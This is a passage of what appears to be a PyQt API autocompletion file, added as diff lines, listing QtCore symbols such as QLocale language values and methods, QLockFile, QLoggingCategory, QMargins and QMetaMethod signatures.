+QtCore.QLocale.Language.Estonian?10 +QtCore.QLocale.Language.Faroese?10 +QtCore.QLocale.Language.Finnish?10 +QtCore.QLocale.Language.French?10 +QtCore.QLocale.Language.Frisian?10 +QtCore.QLocale.Language.Gaelic?10 +QtCore.QLocale.Language.Galician?10 +QtCore.QLocale.Language.Georgian?10 +QtCore.QLocale.Language.German?10 +QtCore.QLocale.Language.Greek?10 +QtCore.QLocale.Language.Greenlandic?10 +QtCore.QLocale.Language.Guarani?10 +QtCore.QLocale.Language.Gujarati?10 +QtCore.QLocale.Language.Hausa?10 +QtCore.QLocale.Language.Hebrew?10 +QtCore.QLocale.Language.Hindi?10 +QtCore.QLocale.Language.Hungarian?10 +QtCore.QLocale.Language.Icelandic?10 +QtCore.QLocale.Language.Indonesian?10 +QtCore.QLocale.Language.Interlingua?10 +QtCore.QLocale.Language.Interlingue?10 +QtCore.QLocale.Language.Inuktitut?10 +QtCore.QLocale.Language.Inupiak?10 +QtCore.QLocale.Language.Irish?10 +QtCore.QLocale.Language.Italian?10 +QtCore.QLocale.Language.Japanese?10 +QtCore.QLocale.Language.Javanese?10 +QtCore.QLocale.Language.Kannada?10 +QtCore.QLocale.Language.Kashmiri?10 +QtCore.QLocale.Language.Kazakh?10 +QtCore.QLocale.Language.Kinyarwanda?10 +QtCore.QLocale.Language.Kirghiz?10 +QtCore.QLocale.Language.Korean?10 +QtCore.QLocale.Language.Kurdish?10 +QtCore.QLocale.Language.Kurundi?10 +QtCore.QLocale.Language.Latin?10 +QtCore.QLocale.Language.Latvian?10 +QtCore.QLocale.Language.Lingala?10 +QtCore.QLocale.Language.Lithuanian?10 +QtCore.QLocale.Language.Macedonian?10 +QtCore.QLocale.Language.Malagasy?10 +QtCore.QLocale.Language.Malay?10 +QtCore.QLocale.Language.Malayalam?10 +QtCore.QLocale.Language.Maltese?10 +QtCore.QLocale.Language.Maori?10 +QtCore.QLocale.Language.Marathi?10 +QtCore.QLocale.Language.Moldavian?10 +QtCore.QLocale.Language.Mongolian?10 +QtCore.QLocale.Language.NauruLanguage?10 +QtCore.QLocale.Language.Nepali?10 +QtCore.QLocale.Language.Norwegian?10 +QtCore.QLocale.Language.Occitan?10 +QtCore.QLocale.Language.Oriya?10 +QtCore.QLocale.Language.Pashto?10 +QtCore.QLocale.Language.Persian?10 +QtCore.QLocale.Language.Polish?10 +QtCore.QLocale.Language.Portuguese?10 +QtCore.QLocale.Language.Punjabi?10 +QtCore.QLocale.Language.Quechua?10 +QtCore.QLocale.Language.RhaetoRomance?10 +QtCore.QLocale.Language.Romanian?10 +QtCore.QLocale.Language.Russian?10 +QtCore.QLocale.Language.Samoan?10 +QtCore.QLocale.Language.Sanskrit?10 +QtCore.QLocale.Language.Serbian?10 +QtCore.QLocale.Language.SerboCroatian?10 +QtCore.QLocale.Language.Shona?10 +QtCore.QLocale.Language.Sindhi?10 +QtCore.QLocale.Language.Slovak?10 +QtCore.QLocale.Language.Slovenian?10 +QtCore.QLocale.Language.Somali?10 +QtCore.QLocale.Language.Spanish?10 +QtCore.QLocale.Language.Sundanese?10 +QtCore.QLocale.Language.Swahili?10 +QtCore.QLocale.Language.Swedish?10 +QtCore.QLocale.Language.Tagalog?10 +QtCore.QLocale.Language.Tajik?10 +QtCore.QLocale.Language.Tamil?10 +QtCore.QLocale.Language.Tatar?10 +QtCore.QLocale.Language.Telugu?10 +QtCore.QLocale.Language.Thai?10 +QtCore.QLocale.Language.Tibetan?10 +QtCore.QLocale.Language.Tigrinya?10 +QtCore.QLocale.Language.Tsonga?10 +QtCore.QLocale.Language.Turkish?10 +QtCore.QLocale.Language.Turkmen?10 +QtCore.QLocale.Language.Twi?10 +QtCore.QLocale.Language.Uigur?10 +QtCore.QLocale.Language.Ukrainian?10 +QtCore.QLocale.Language.Urdu?10 +QtCore.QLocale.Language.Uzbek?10 +QtCore.QLocale.Language.Vietnamese?10 +QtCore.QLocale.Language.Volapuk?10 +QtCore.QLocale.Language.Welsh?10 +QtCore.QLocale.Language.Wolof?10 +QtCore.QLocale.Language.Xhosa?10 +QtCore.QLocale.Language.Yiddish?10 +QtCore.QLocale.Language.Yoruba?10 +QtCore.QLocale.Language.Zhuang?10 +QtCore.QLocale.Language.Zulu?10 +QtCore.QLocale.Language.Bosnian?10 +QtCore.QLocale.Language.Divehi?10 +QtCore.QLocale.Language.Manx?10 +QtCore.QLocale.Language.Cornish?10 +QtCore.QLocale.Language.LastLanguage?10 +QtCore.QLocale.Language.NorwegianBokmal?10 +QtCore.QLocale.Language.NorwegianNynorsk?10 +QtCore.QLocale.Language.Akan?10 +QtCore.QLocale.Language.Konkani?10 +QtCore.QLocale.Language.Ga?10 +QtCore.QLocale.Language.Igbo?10 +QtCore.QLocale.Language.Kamba?10 +QtCore.QLocale.Language.Syriac?10 +QtCore.QLocale.Language.Blin?10 +QtCore.QLocale.Language.Geez?10 +QtCore.QLocale.Language.Koro?10 +QtCore.QLocale.Language.Sidamo?10 +QtCore.QLocale.Language.Atsam?10 +QtCore.QLocale.Language.Tigre?10 +QtCore.QLocale.Language.Jju?10 +QtCore.QLocale.Language.Friulian?10 +QtCore.QLocale.Language.Venda?10 +QtCore.QLocale.Language.Ewe?10 +QtCore.QLocale.Language.Walamo?10 +QtCore.QLocale.Language.Hawaiian?10 +QtCore.QLocale.Language.Tyap?10 +QtCore.QLocale.Language.Chewa?10 +QtCore.QLocale.Language.Filipino?10 +QtCore.QLocale.Language.SwissGerman?10 +QtCore.QLocale.Language.SichuanYi?10 +QtCore.QLocale.Language.Kpelle?10 +QtCore.QLocale.Language.LowGerman?10 +QtCore.QLocale.Language.SouthNdebele?10 +QtCore.QLocale.Language.NorthernSotho?10 +QtCore.QLocale.Language.NorthernSami?10 +QtCore.QLocale.Language.Taroko?10 +QtCore.QLocale.Language.Gusii?10 +QtCore.QLocale.Language.Taita?10 +QtCore.QLocale.Language.Fulah?10 +QtCore.QLocale.Language.Kikuyu?10 +QtCore.QLocale.Language.Samburu?10 +QtCore.QLocale.Language.Sena?10 +QtCore.QLocale.Language.NorthNdebele?10 +QtCore.QLocale.Language.Rombo?10 +QtCore.QLocale.Language.Tachelhit?10 +QtCore.QLocale.Language.Kabyle?10 +QtCore.QLocale.Language.Nyankole?10 +QtCore.QLocale.Language.Bena?10 +QtCore.QLocale.Language.Vunjo?10 +QtCore.QLocale.Language.Bambara?10 +QtCore.QLocale.Language.Embu?10 +QtCore.QLocale.Language.Cherokee?10 +QtCore.QLocale.Language.Morisyen?10 +QtCore.QLocale.Language.Makonde?10 +QtCore.QLocale.Language.Langi?10 +QtCore.QLocale.Language.Ganda?10 +QtCore.QLocale.Language.Bemba?10 +QtCore.QLocale.Language.Kabuverdianu?10 +QtCore.QLocale.Language.Meru?10 +QtCore.QLocale.Language.Kalenjin?10 +QtCore.QLocale.Language.Nama?10 +QtCore.QLocale.Language.Machame?10 +QtCore.QLocale.Language.Colognian?10 +QtCore.QLocale.Language.Masai?10 +QtCore.QLocale.Language.Soga?10 +QtCore.QLocale.Language.Luyia?10 +QtCore.QLocale.Language.Asu?10 +QtCore.QLocale.Language.Teso?10 +QtCore.QLocale.Language.Saho?10 +QtCore.QLocale.Language.KoyraChiini?10 +QtCore.QLocale.Language.Rwa?10 +QtCore.QLocale.Language.Luo?10 +QtCore.QLocale.Language.Chiga?10 +QtCore.QLocale.Language.CentralMoroccoTamazight?10 +QtCore.QLocale.Language.KoyraboroSenni?10 +QtCore.QLocale.Language.Shambala?10 +QtCore.QLocale.Language.AnyLanguage?10 +QtCore.QLocale.Language.Rundi?10 +QtCore.QLocale.Language.Bodo?10 +QtCore.QLocale.Language.Aghem?10 +QtCore.QLocale.Language.Basaa?10 +QtCore.QLocale.Language.Zarma?10 +QtCore.QLocale.Language.Duala?10 +QtCore.QLocale.Language.JolaFonyi?10 +QtCore.QLocale.Language.Ewondo?10 +QtCore.QLocale.Language.Bafia?10 +QtCore.QLocale.Language.LubaKatanga?10 +QtCore.QLocale.Language.MakhuwaMeetto?10 +QtCore.QLocale.Language.Mundang?10 +QtCore.QLocale.Language.Kwasio?10 +QtCore.QLocale.Language.Nuer?10 +QtCore.QLocale.Language.Sakha?10 +QtCore.QLocale.Language.Sangu?10 +QtCore.QLocale.Language.CongoSwahili?10 +QtCore.QLocale.Language.Tasawaq?10 +QtCore.QLocale.Language.Vai?10 +QtCore.QLocale.Language.Walser?10 +QtCore.QLocale.Language.Yangben?10 +QtCore.QLocale.Language.Oromo?10 +QtCore.QLocale.Language.Dzongkha?10 +QtCore.QLocale.Language.Belarusian?10 +QtCore.QLocale.Language.Khmer?10 +QtCore.QLocale.Language.Fijian?10 +QtCore.QLocale.Language.WesternFrisian?10 +QtCore.QLocale.Language.Lao?10 +QtCore.QLocale.Language.Marshallese?10 +QtCore.QLocale.Language.Romansh?10 +QtCore.QLocale.Language.Sango?10 +QtCore.QLocale.Language.Ossetic?10 +QtCore.QLocale.Language.SouthernSotho?10 +QtCore.QLocale.Language.Tswana?10 +QtCore.QLocale.Language.Sinhala?10 +QtCore.QLocale.Language.Swati?10 +QtCore.QLocale.Language.Sardinian?10 +QtCore.QLocale.Language.Tongan?10 +QtCore.QLocale.Language.Tahitian?10 +QtCore.QLocale.Language.Nyanja?10 +QtCore.QLocale.Language.Avaric?10 +QtCore.QLocale.Language.Chamorro?10 +QtCore.QLocale.Language.Chechen?10 +QtCore.QLocale.Language.Church?10 +QtCore.QLocale.Language.Chuvash?10 +QtCore.QLocale.Language.Cree?10 +QtCore.QLocale.Language.Haitian?10 +QtCore.QLocale.Language.Herero?10 +QtCore.QLocale.Language.HiriMotu?10 +QtCore.QLocale.Language.Kanuri?10 +QtCore.QLocale.Language.Komi?10 +QtCore.QLocale.Language.Kongo?10 +QtCore.QLocale.Language.Kwanyama?10 +QtCore.QLocale.Language.Limburgish?10 +QtCore.QLocale.Language.Luxembourgish?10 +QtCore.QLocale.Language.Navaho?10 +QtCore.QLocale.Language.Ndonga?10 +QtCore.QLocale.Language.Ojibwa?10 +QtCore.QLocale.Language.Pali?10 +QtCore.QLocale.Language.Walloon?10 +QtCore.QLocale.Language.Avestan?10 +QtCore.QLocale.Language.Asturian?10 +QtCore.QLocale.Language.Ngomba?10 +QtCore.QLocale.Language.Kako?10 +QtCore.QLocale.Language.Meta?10 +QtCore.QLocale.Language.Ngiemboon?10 +QtCore.QLocale.Language.Uighur?10 +QtCore.QLocale.Language.Aragonese?10 +QtCore.QLocale.Language.Akkadian?10 +QtCore.QLocale.Language.AncientEgyptian?10 +QtCore.QLocale.Language.AncientGreek?10 +QtCore.QLocale.Language.Aramaic?10 +QtCore.QLocale.Language.Balinese?10 +QtCore.QLocale.Language.Bamun?10 +QtCore.QLocale.Language.BatakToba?10 +QtCore.QLocale.Language.Buginese?10 +QtCore.QLocale.Language.Buhid?10 +QtCore.QLocale.Language.Carian?10 +QtCore.QLocale.Language.Chakma?10 +QtCore.QLocale.Language.ClassicalMandaic?10 +QtCore.QLocale.Language.Coptic?10 +QtCore.QLocale.Language.Dogri?10 +QtCore.QLocale.Language.EasternCham?10 +QtCore.QLocale.Language.EasternKayah?10 +QtCore.QLocale.Language.Etruscan?10 +QtCore.QLocale.Language.Gothic?10 +QtCore.QLocale.Language.Hanunoo?10 +QtCore.QLocale.Language.Ingush?10 +QtCore.QLocale.Language.LargeFloweryMiao?10 +QtCore.QLocale.Language.Lepcha?10 +QtCore.QLocale.Language.Limbu?10 +QtCore.QLocale.Language.Lisu?10 +QtCore.QLocale.Language.Lu?10 +QtCore.QLocale.Language.Lycian?10 +QtCore.QLocale.Language.Lydian?10 +QtCore.QLocale.Language.Mandingo?10 +QtCore.QLocale.Language.Manipuri?10 +QtCore.QLocale.Language.Meroitic?10 +QtCore.QLocale.Language.NorthernThai?10 +QtCore.QLocale.Language.OldIrish?10 +QtCore.QLocale.Language.OldNorse?10 +QtCore.QLocale.Language.OldPersian?10 +QtCore.QLocale.Language.OldTurkish?10 +QtCore.QLocale.Language.Pahlavi?10 +QtCore.QLocale.Language.Parthian?10 +QtCore.QLocale.Language.Phoenician?10 +QtCore.QLocale.Language.PrakritLanguage?10 +QtCore.QLocale.Language.Rejang?10 +QtCore.QLocale.Language.Sabaean?10 +QtCore.QLocale.Language.Samaritan?10 +QtCore.QLocale.Language.Santali?10 +QtCore.QLocale.Language.Saurashtra?10 +QtCore.QLocale.Language.Sora?10 +QtCore.QLocale.Language.Sylheti?10 +QtCore.QLocale.Language.Tagbanwa?10 +QtCore.QLocale.Language.TaiDam?10 +QtCore.QLocale.Language.TaiNua?10 +QtCore.QLocale.Language.Ugaritic?10 +QtCore.QLocale.Language.Akoose?10 +QtCore.QLocale.Language.Lakota?10 +QtCore.QLocale.Language.StandardMoroccanTamazight?10 +QtCore.QLocale.Language.Mapuche?10 +QtCore.QLocale.Language.CentralKurdish?10 +QtCore.QLocale.Language.LowerSorbian?10 +QtCore.QLocale.Language.UpperSorbian?10 +QtCore.QLocale.Language.Kenyang?10 +QtCore.QLocale.Language.Mohawk?10 +QtCore.QLocale.Language.Nko?10 +QtCore.QLocale.Language.Prussian?10 +QtCore.QLocale.Language.Kiche?10 +QtCore.QLocale.Language.SouthernSami?10 +QtCore.QLocale.Language.LuleSami?10 +QtCore.QLocale.Language.InariSami?10 +QtCore.QLocale.Language.SkoltSami?10 +QtCore.QLocale.Language.Warlpiri?10 +QtCore.QLocale.Language.ManichaeanMiddlePersian?10 +QtCore.QLocale.Language.Mende?10 +QtCore.QLocale.Language.AncientNorthArabian?10 +QtCore.QLocale.Language.LinearA?10 +QtCore.QLocale.Language.HmongNjua?10 +QtCore.QLocale.Language.Ho?10 +QtCore.QLocale.Language.Lezghian?10 +QtCore.QLocale.Language.Bassa?10 +QtCore.QLocale.Language.Mono?10 +QtCore.QLocale.Language.TedimChin?10 +QtCore.QLocale.Language.Maithili?10 +QtCore.QLocale.Language.Ahom?10 +QtCore.QLocale.Language.AmericanSignLanguage?10 +QtCore.QLocale.Language.ArdhamagadhiPrakrit?10 +QtCore.QLocale.Language.Bhojpuri?10 +QtCore.QLocale.Language.HieroglyphicLuwian?10 +QtCore.QLocale.Language.LiteraryChinese?10 +QtCore.QLocale.Language.Mazanderani?10 +QtCore.QLocale.Language.Mru?10 +QtCore.QLocale.Language.Newari?10 +QtCore.QLocale.Language.NorthernLuri?10 +QtCore.QLocale.Language.Palauan?10 +QtCore.QLocale.Language.Papiamento?10 +QtCore.QLocale.Language.Saraiki?10 +QtCore.QLocale.Language.TokelauLanguage?10 +QtCore.QLocale.Language.TokPisin?10 +QtCore.QLocale.Language.TuvaluLanguage?10 +QtCore.QLocale.Language.UncodedLanguages?10 +QtCore.QLocale.Language.Cantonese?10 +QtCore.QLocale.Language.Osage?10 +QtCore.QLocale.Language.Tangut?10 +QtCore.QLocale.Language.Ido?10 +QtCore.QLocale.Language.Lojban?10 +QtCore.QLocale.Language.Sicilian?10 +QtCore.QLocale.Language.SouthernKurdish?10 +QtCore.QLocale.Language.WesternBalochi?10 +QtCore.QLocale.Language.Cebuano?10 +QtCore.QLocale.Language.Erzya?10 +QtCore.QLocale.Language.Chickasaw?10 +QtCore.QLocale.Language.Muscogee?10 +QtCore.QLocale.Language.Silesian?10 +QtCore.QLocale?1() +QtCore.QLocale.__init__?1(self) +QtCore.QLocale?1(QString) +QtCore.QLocale.__init__?1(self, QString) +QtCore.QLocale?1(QLocale.Language, QLocale.Country country=QLocale.AnyCountry) +QtCore.QLocale.__init__?1(self, QLocale.Language, QLocale.Country country=QLocale.AnyCountry) +QtCore.QLocale?1(QLocale) +QtCore.QLocale.__init__?1(self, QLocale) +QtCore.QLocale?1(QLocale.Language, QLocale.Script, QLocale.Country) +QtCore.QLocale.__init__?1(self, QLocale.Language, QLocale.Script, QLocale.Country) +QtCore.QLocale.language?4() -> QLocale.Language +QtCore.QLocale.country?4() -> QLocale.Country +QtCore.QLocale.name?4() -> QString +QtCore.QLocale.toShort?4(QString) -> (int, bool) +QtCore.QLocale.toUShort?4(QString) -> (int, bool) +QtCore.QLocale.toInt?4(QString) -> (int, bool) +QtCore.QLocale.toUInt?4(QString) -> (int, bool) +QtCore.QLocale.toLongLong?4(QString) -> (int, bool) +QtCore.QLocale.toULongLong?4(QString) -> (int, bool) +QtCore.QLocale.toFloat?4(QString) -> (float, bool) +QtCore.QLocale.toDouble?4(QString) -> (float, bool) +QtCore.QLocale.toString?4(float, str format='g', int precision=6) -> QString +QtCore.QLocale.languageToString?4(QLocale.Language) -> QString +QtCore.QLocale.countryToString?4(QLocale.Country) -> QString +QtCore.QLocale.setDefault?4(QLocale) +QtCore.QLocale.c?4() -> QLocale +QtCore.QLocale.system?4() -> QLocale +QtCore.QLocale.toString?4(QDateTime, QString) -> QString +QtCore.QLocale.toString?4(QDateTime, QString, QCalendar) -> QString +QtCore.QLocale.toString?4(QDateTime, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.toString?4(QDateTime, QLocale.FormatType, QCalendar) -> QString +QtCore.QLocale.toString?4(QDate, QString) -> QString +QtCore.QLocale.toString?4(QDate, QString, QCalendar) -> QString +QtCore.QLocale.toString?4(QDate, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.toString?4(QDate, QLocale.FormatType, QCalendar) -> QString +QtCore.QLocale.toString?4(QTime, QString) -> QString +QtCore.QLocale.toString?4(QTime, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.dateFormat?4(QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.timeFormat?4(QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.dateTimeFormat?4(QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.toDate?4(QString, QLocale.FormatType format=QLocale.LongFormat) -> QDate +QtCore.QLocale.toDate?4(QString, QString) -> QDate +QtCore.QLocale.toTime?4(QString, QLocale.FormatType format=QLocale.LongFormat) -> QTime +QtCore.QLocale.toTime?4(QString, QString) -> QTime +QtCore.QLocale.toDateTime?4(QString, QLocale.FormatType format=QLocale.LongFormat) -> QDateTime +QtCore.QLocale.toDateTime?4(QString, QString) -> QDateTime +QtCore.QLocale.decimalPoint?4() -> QChar +QtCore.QLocale.groupSeparator?4() -> QChar +QtCore.QLocale.percent?4() -> QChar +QtCore.QLocale.zeroDigit?4() -> QChar +QtCore.QLocale.negativeSign?4() -> QChar +QtCore.QLocale.exponential?4() -> QChar +QtCore.QLocale.monthName?4(int, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.dayName?4(int, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.setNumberOptions?4(QLocale.NumberOptions) +QtCore.QLocale.numberOptions?4() -> QLocale.NumberOptions +QtCore.QLocale.measurementSystem?4() -> QLocale.MeasurementSystem +QtCore.QLocale.positiveSign?4() -> QChar +QtCore.QLocale.standaloneMonthName?4(int, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.standaloneDayName?4(int, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QLocale.amText?4() -> QString +QtCore.QLocale.pmText?4() -> QString +QtCore.QLocale.textDirection?4() -> Qt.LayoutDirection +QtCore.QLocale.script?4() -> QLocale.Script +QtCore.QLocale.bcp47Name?4() -> QString +QtCore.QLocale.nativeLanguageName?4() -> QString +QtCore.QLocale.nativeCountryName?4() -> QString +QtCore.QLocale.firstDayOfWeek?4() -> Qt.DayOfWeek +QtCore.QLocale.weekdays?4() -> unknown-type +QtCore.QLocale.toUpper?4(QString) -> QString +QtCore.QLocale.toLower?4(QString) -> QString +QtCore.QLocale.currencySymbol?4(QLocale.CurrencySymbolFormat format=QLocale.CurrencySymbol) -> QString +QtCore.QLocale.toCurrencyString?4(float, QString symbol='') -> QString +QtCore.QLocale.toCurrencyString?4(float, QString, int) -> QString +QtCore.QLocale.uiLanguages?4() -> QStringList +QtCore.QLocale.scriptToString?4(QLocale.Script) -> QString +QtCore.QLocale.matchingLocales?4(QLocale.Language, QLocale.Script, QLocale.Country) -> unknown-type +QtCore.QLocale.quoteString?4(QString, QLocale.QuotationStyle style=QLocale.StandardQuotation) -> QString +QtCore.QLocale.createSeparatedList?4(QStringList) -> QString +QtCore.QLocale.swap?4(QLocale) +QtCore.QLocale.toString?4(object) -> QString +QtCore.QLocale.toCurrencyString?4(object, QString symbol='') -> QString +QtCore.QLocale.formattedDataSize?4(int, int precision=2, QLocale.DataSizeFormats format=QLocale.DataSizeIecFormat) -> QString +QtCore.QLocale.toLong?4(QString) -> (int, bool) +QtCore.QLocale.toULong?4(QString) -> (int, bool) +QtCore.QLocale.toDate?4(QString, QLocale.FormatType, QCalendar) -> QDate +QtCore.QLocale.toTime?4(QString, QLocale.FormatType, QCalendar) -> QTime +QtCore.QLocale.toDateTime?4(QString, QLocale.FormatType, QCalendar) -> QDateTime +QtCore.QLocale.toDate?4(QString, QString, QCalendar) -> QDate +QtCore.QLocale.toTime?4(QString, QString, QCalendar) -> QTime +QtCore.QLocale.toDateTime?4(QString, QString, QCalendar) -> QDateTime +QtCore.QLocale.collation?4() -> QLocale +QtCore.QLocale.NumberOptions?1() +QtCore.QLocale.NumberOptions.__init__?1(self) +QtCore.QLocale.NumberOptions?1(int) +QtCore.QLocale.NumberOptions.__init__?1(self, int) +QtCore.QLocale.NumberOptions?1(QLocale.NumberOptions) +QtCore.QLocale.NumberOptions.__init__?1(self, QLocale.NumberOptions) +QtCore.QLocale.DataSizeFormats?1() +QtCore.QLocale.DataSizeFormats.__init__?1(self) +QtCore.QLocale.DataSizeFormats?1(int) +QtCore.QLocale.DataSizeFormats.__init__?1(self, int) +QtCore.QLocale.DataSizeFormats?1(QLocale.DataSizeFormats) +QtCore.QLocale.DataSizeFormats.__init__?1(self, QLocale.DataSizeFormats) +QtCore.QLockFile.LockError?10 +QtCore.QLockFile.LockError.NoError?10 +QtCore.QLockFile.LockError.LockFailedError?10 +QtCore.QLockFile.LockError.PermissionError?10 +QtCore.QLockFile.LockError.UnknownError?10 +QtCore.QLockFile?1(QString) +QtCore.QLockFile.__init__?1(self, QString) +QtCore.QLockFile.lock?4() -> bool +QtCore.QLockFile.tryLock?4(int timeout=0) -> bool +QtCore.QLockFile.unlock?4() +QtCore.QLockFile.setStaleLockTime?4(int) +QtCore.QLockFile.staleLockTime?4() -> int +QtCore.QLockFile.isLocked?4() -> bool +QtCore.QLockFile.getLockInfo?4() -> (bool, int, QString, QString) +QtCore.QLockFile.removeStaleLockFile?4() -> bool +QtCore.QLockFile.error?4() -> QLockFile.LockError +QtCore.QMessageLogContext.category?7 +QtCore.QMessageLogContext.file?7 +QtCore.QMessageLogContext.function?7 +QtCore.QMessageLogContext.line?7 +QtCore.QMessageLogger?1() +QtCore.QMessageLogger.__init__?1(self) +QtCore.QMessageLogger?1(str, int, str) +QtCore.QMessageLogger.__init__?1(self, str, int, str) +QtCore.QMessageLogger?1(str, int, str, str) +QtCore.QMessageLogger.__init__?1(self, str, int, str, str) +QtCore.QMessageLogger.debug?4(str) +QtCore.QMessageLogger.warning?4(str) +QtCore.QMessageLogger.critical?4(str) +QtCore.QMessageLogger.fatal?4(str) +QtCore.QMessageLogger.info?4(str) +QtCore.QLoggingCategory?1(str) +QtCore.QLoggingCategory.__init__?1(self, str) +QtCore.QLoggingCategory?1(str, QtMsgType) +QtCore.QLoggingCategory.__init__?1(self, str, QtMsgType) +QtCore.QLoggingCategory.isEnabled?4(QtMsgType) -> bool +QtCore.QLoggingCategory.setEnabled?4(QtMsgType, bool) +QtCore.QLoggingCategory.isDebugEnabled?4() -> bool +QtCore.QLoggingCategory.isInfoEnabled?4() -> bool +QtCore.QLoggingCategory.isWarningEnabled?4() -> bool +QtCore.QLoggingCategory.isCriticalEnabled?4() -> bool +QtCore.QLoggingCategory.categoryName?4() -> str +QtCore.QLoggingCategory.defaultCategory?4() -> QLoggingCategory +QtCore.QLoggingCategory.setFilterRules?4(QString) +QtCore.QMargins?1() +QtCore.QMargins.__init__?1(self) +QtCore.QMargins?1(int, int, int, int) +QtCore.QMargins.__init__?1(self, int, int, int, int) +QtCore.QMargins?1(QMargins) +QtCore.QMargins.__init__?1(self, QMargins) +QtCore.QMargins.isNull?4() -> bool +QtCore.QMargins.left?4() -> int +QtCore.QMargins.top?4() -> int +QtCore.QMargins.right?4() -> int +QtCore.QMargins.bottom?4() -> int +QtCore.QMargins.setLeft?4(int) +QtCore.QMargins.setTop?4(int) +QtCore.QMargins.setRight?4(int) +QtCore.QMargins.setBottom?4(int) +QtCore.QMarginsF?1() +QtCore.QMarginsF.__init__?1(self) +QtCore.QMarginsF?1(float, float, float, float) +QtCore.QMarginsF.__init__?1(self, float, float, float, float) +QtCore.QMarginsF?1(QMargins) +QtCore.QMarginsF.__init__?1(self, QMargins) +QtCore.QMarginsF?1(QMarginsF) +QtCore.QMarginsF.__init__?1(self, QMarginsF) +QtCore.QMarginsF.isNull?4() -> bool +QtCore.QMarginsF.left?4() -> float +QtCore.QMarginsF.top?4() -> float +QtCore.QMarginsF.right?4() -> float +QtCore.QMarginsF.bottom?4() -> float +QtCore.QMarginsF.setLeft?4(float) +QtCore.QMarginsF.setTop?4(float) +QtCore.QMarginsF.setRight?4(float) +QtCore.QMarginsF.setBottom?4(float) +QtCore.QMarginsF.toMargins?4() -> QMargins +QtCore.QMessageAuthenticationCode?1(QCryptographicHash.Algorithm, QByteArray key=QByteArray()) +QtCore.QMessageAuthenticationCode.__init__?1(self, QCryptographicHash.Algorithm, QByteArray key=QByteArray()) +QtCore.QMessageAuthenticationCode.reset?4() +QtCore.QMessageAuthenticationCode.setKey?4(QByteArray) +QtCore.QMessageAuthenticationCode.addData?4(str, int) +QtCore.QMessageAuthenticationCode.addData?4(QByteArray) +QtCore.QMessageAuthenticationCode.addData?4(QIODevice) -> bool +QtCore.QMessageAuthenticationCode.result?4() -> QByteArray +QtCore.QMessageAuthenticationCode.hash?4(QByteArray, QByteArray, QCryptographicHash.Algorithm) -> QByteArray +QtCore.QMetaMethod.MethodType?10 +QtCore.QMetaMethod.MethodType.Method?10 +QtCore.QMetaMethod.MethodType.Signal?10 +QtCore.QMetaMethod.MethodType.Slot?10 +QtCore.QMetaMethod.MethodType.Constructor?10 +QtCore.QMetaMethod.Access?10 +QtCore.QMetaMethod.Access.Private?10 +QtCore.QMetaMethod.Access.Protected?10 +QtCore.QMetaMethod.Access.Public?10 +QtCore.QMetaMethod?1() +QtCore.QMetaMethod.__init__?1(self) +QtCore.QMetaMethod?1(QMetaMethod) +QtCore.QMetaMethod.__init__?1(self, QMetaMethod) +QtCore.QMetaMethod.typeName?4() -> str +QtCore.QMetaMethod.parameterTypes?4() -> unknown-type +QtCore.QMetaMethod.parameterNames?4() -> unknown-type +QtCore.QMetaMethod.tag?4() -> str +QtCore.QMetaMethod.access?4() -> QMetaMethod.Access +QtCore.QMetaMethod.methodType?4() -> QMetaMethod.MethodType +QtCore.QMetaMethod.invoke?4(QObject, Qt.ConnectionType, QGenericReturnArgument, QGenericArgument value0=QGenericArgument(0,0), QGenericArgument value1=QGenericArgument(0,0), QGenericArgument value2=QGenericArgument(0,0), QGenericArgument value3=QGenericArgument(0,0), QGenericArgument value4=QGenericArgument(0,0), QGenericArgument value5=QGenericArgument(0,0), QGenericArgument value6=QGenericArgument(0,0), QGenericArgument value7=QGenericArgument(0,0), QGenericArgument value8=QGenericArgument(0,0), QGenericArgument value9=QGenericArgument(0,0)) -> object +QtCore.QMetaMethod.invoke?4(QObject, QGenericReturnArgument, QGenericArgument value0=QGenericArgument(0,0), QGenericArgument value1=QGenericArgument(0,0), QGenericArgument value2=QGenericArgument(0,0), QGenericArgument value3=QGenericArgument(0,0), QGenericArgument value4=QGenericArgument(0,0), QGenericArgument value5=QGenericArgument(0,0), QGenericArgument value6=QGenericArgument(0,0), QGenericArgument value7=QGenericArgument(0,0), QGenericArgument value8=QGenericArgument(0,0), QGenericArgument value9=QGenericArgument(0,0)) -> object +QtCore.QMetaMethod.invoke?4(QObject, Qt.ConnectionType, QGenericArgument value0=QGenericArgument(0,0), QGenericArgument value1=QGenericArgument(0,0), QGenericArgument value2=QGenericArgument(0,0), QGenericArgument value3=QGenericArgument(0,0), QGenericArgument value4=QGenericArgument(0,0), QGenericArgument value5=QGenericArgument(0,0), QGenericArgument value6=QGenericArgument(0,0), QGenericArgument value7=QGenericArgument(0,0), QGenericArgument value8=QGenericArgument(0,0), QGenericArgument value9=QGenericArgument(0,0)) -> object +QtCore.QMetaMethod.invoke?4(QObject, QGenericArgument value0=QGenericArgument(0,0), QGenericArgument value1=QGenericArgument(0,0), QGenericArgument value2=QGenericArgument(0,0), QGenericArgument value3=QGenericArgument(0,0), QGenericArgument value4=QGenericArgument(0,0), QGenericArgument value5=QGenericArgument(0,0), QGenericArgument value6=QGenericArgument(0,0), QGenericArgument value7=QGenericArgument(0,0), QGenericArgument value8=QGenericArgument(0,0), QGenericArgument value9=QGenericArgument(0,0)) -> object +QtCore.QMetaMethod.methodIndex?4() -> int +QtCore.QMetaMethod.isValid?4() -> bool +QtCore.QMetaMethod.methodSignature?4() -> QByteArray +QtCore.QMetaMethod.name?4() -> QByteArray +QtCore.QMetaMethod.returnType?4() -> int +QtCore.QMetaMethod.parameterCount?4() -> int +QtCore.QMetaMethod.parameterType?4(int) -> int +QtCore.QMetaEnum?1() +QtCore.QMetaEnum.__init__?1(self) +QtCore.QMetaEnum?1(QMetaEnum) +QtCore.QMetaEnum.__init__?1(self, QMetaEnum) +QtCore.QMetaEnum.name?4() -> str +QtCore.QMetaEnum.isFlag?4() -> bool +QtCore.QMetaEnum.keyCount?4() -> int 